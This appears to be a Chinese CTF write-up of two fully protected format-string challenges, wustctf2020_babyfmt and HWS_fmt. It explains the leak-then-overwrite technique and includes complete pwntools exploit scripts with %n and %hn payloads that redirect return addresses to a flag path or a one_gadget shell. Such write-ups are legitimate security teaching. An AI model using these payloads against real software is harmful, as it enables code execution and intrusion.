HWS-fmt

zIxyd / 2023-07-16 / 原文

“一天一包烟,一道pwn题做一天"(我不抽烟,前一句只是托物言志)

在这里记录一下关于格式字符串保护全开的两道题目,第一道是在buu上的题目。至于第二道是我昨天在hws打比赛想了一天的题目(还好和🐻交流了一下,才做出来了,不然就做了一天牢)

wustctf2020_babyfmt

保护全开的格式字符串,这意味着不可以修改got表为一些后门地址了

主要有三个菜单,分别是fmt_attack,leak,get_flag

我们一般都是先看get_flag函数,在这里了可以看到即使可以通过 if ( !strncmp(secret, s2, 0x40uLL) )这个if,也得不到flag,标准输出被关闭了

接下来看fmt_attack,a1默认是0,使用完后会变成1,这意味着fmt_attack只能使用一次,但是有格式字符串漏洞,我们可以利用格式字符串之后任然使得a1为0,循环利用fmt_attack,

做题思路就已经有了,就是改ret的地址为close(1)之后的地址,一共要利用两次格式字符漏洞

第一次,泄露基地址和栈地址

第二次,改ret的地址为close(1)之后的地址

fmt(b'%7$n-%16$p+%17$p')  #%7$n是因为a1是在偏移为7的位置,是a1为0,

r.recvuntil(b'-')
ret_addr = int(r.recv(14),16)-0x28  #%16$p 0x7fffffffdea0-0x28 = 0x7fffffffde78  这是得到栈地址
print(hex(ret_addr))

r.recvuntil(b'+')

ret_value = int(r.recv(14),16)
elf_base = ret_value-0x102c       #%17$p 这就是得到基地址
print(hex(ret_value))

下面就是把栈地址(也就是要ret的地址)写到栈上 ,然后改ret的地址为open(flag)的地址

payload1 = b'%'+str((elf_base+0xf56)&0xffff)+b'c%10$hn'
payload1 = payload1.ljust(0x10,b'a')
payload1+=p64(ret_addr)

fmt(payload1)

r.interactive()

image-20230716105021934

完整的exp

from pwn import *
context(os = 'linux', arch = 'amd64', log_level='debug')
r = process('./c')

def d():
    gdb.attach(r,'b *$rebase(0xecc)')
    pause()
def fmt(payload):
    r.recvuntil(b">>")
    r.sendline(b'2')
    r.sendline(payload)

r.sendline(b'1')
r.sendline(b'2')
r.sendline(b'3')

fmt(b'%7$n-%16$p+%17$p')

r.recvuntil(b'-')
ret_addr = int(r.recv(14),16)-0x28
print(hex(ret_addr))

r.recvuntil(b'+')

ret_value = int(r.recv(14),16)
elf_base = ret_value-0x102c
print(hex(ret_value))

payload1 = b'%'+str((elf_base+0xf56)&0xffff)+b'c%10$hn'
payload1 = payload1.ljust(0x10,b'a')
payload1+=p64(ret_addr)

fmt(payload1)

r.interactive()

HWS_fmt

保护全开的格式字符串缺少对于我这种菜鸡确实少见,保护全开,这意味着肯定改不了got表,

程序也比较简单,提供了两次给是字符串漏洞,我相信弄懂了上一题的小伙伴,看着一题是不是感觉很简单了

思路和上一题基本上一样,由于没有后门,我们只能改ret的地址为one_gadgt ,

第一次,泄露程序基地址,泄露libc_base 泄露栈地址

第二次,改ret的地址one_gadget

第一次,泄露程序基地址,泄露libc_base 泄露栈地址

payload = "%19$p--%21$p-%15$p"

p.sendlineafter("I need a str: ",payload)

base = int(p.recv(14),16) -0x53e2

p.recvuntil('--')

__libc_start_main= int(p.recv(14),16) -240

libc_base  = __libc_start_main - libc.symbols['__libc_start_main']

p.recvuntil('-')

stack =int(p.recv(14),16)

第二次我是改_libc_start_main的地址为了one_gadgt,因为libc_start_main和one_gadget只有后三个字节不一样

image-20230716110718545

one_gadget = [0x45226,0x4527a,0xe3b04] 
execve = one_gadget[0] +libc_base

start_main = stack + 0x18

high = (execve>>16)&0xff
low = execve&0xffff

payload = "%"+str(high)+"c%9$hhn"+"%"+str(low-high)+"c%10$hn"
payload = payload.ljust(0x18,'a')+p64(start_main+2)+p64(start_main)

p.sendlineafter("I need other str: ",payload)

p.interactive()

exp:

from pwn import *

context(os='linux', arch='amd64', log_level='debug')

p = process('./fmt')

elf = ELF('./fmt')

def d():
    gdb.attach(p,'b *$rebase(0x13aa)')
    #gdb.attach(p)
    pause()

libc = ELF('/home/pw/pwn_tools/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so')

payload = "%19$p--%21$p-%15$p"

p.sendlineafter("I need a str: ",payload)

base = int(p.recv(14),16) -0x53e2

p.recvuntil('--')

__libc_start_main= int(p.recv(14),16) -240

libc_base  = __libc_start_main - libc.symbols['__libc_start_main']

p.recvuntil('-')

stack =int(p.recv(14),16)

print("__libc_start_main --> "+hex(__libc_start_main))
print("stack --> "+hex(stack))
print("base  --> "+hex(base))

one_gadget = [0x45226,0x4527a,0xe3b04] 
execve = one_gadget[0] +libc_base

start_main = stack + 0x18

high = (execve>>16)&0xff
low = execve&0xffff

payload = "%"+str(high)+"c%9$hhn"+"%"+str(low-high)+"c%10$hn"
payload = payload.ljust(0x18,'a')+p64(start_main+2)+p64(start_main)

p.sendlineafter("I need other str: ",payload)

p.interactive()

总结:

%n是不能直接修改栈上的地址的,

比如我们想修改栈A的值,可以把栈A放到栈B上,通过%n栈B来修改栈A的值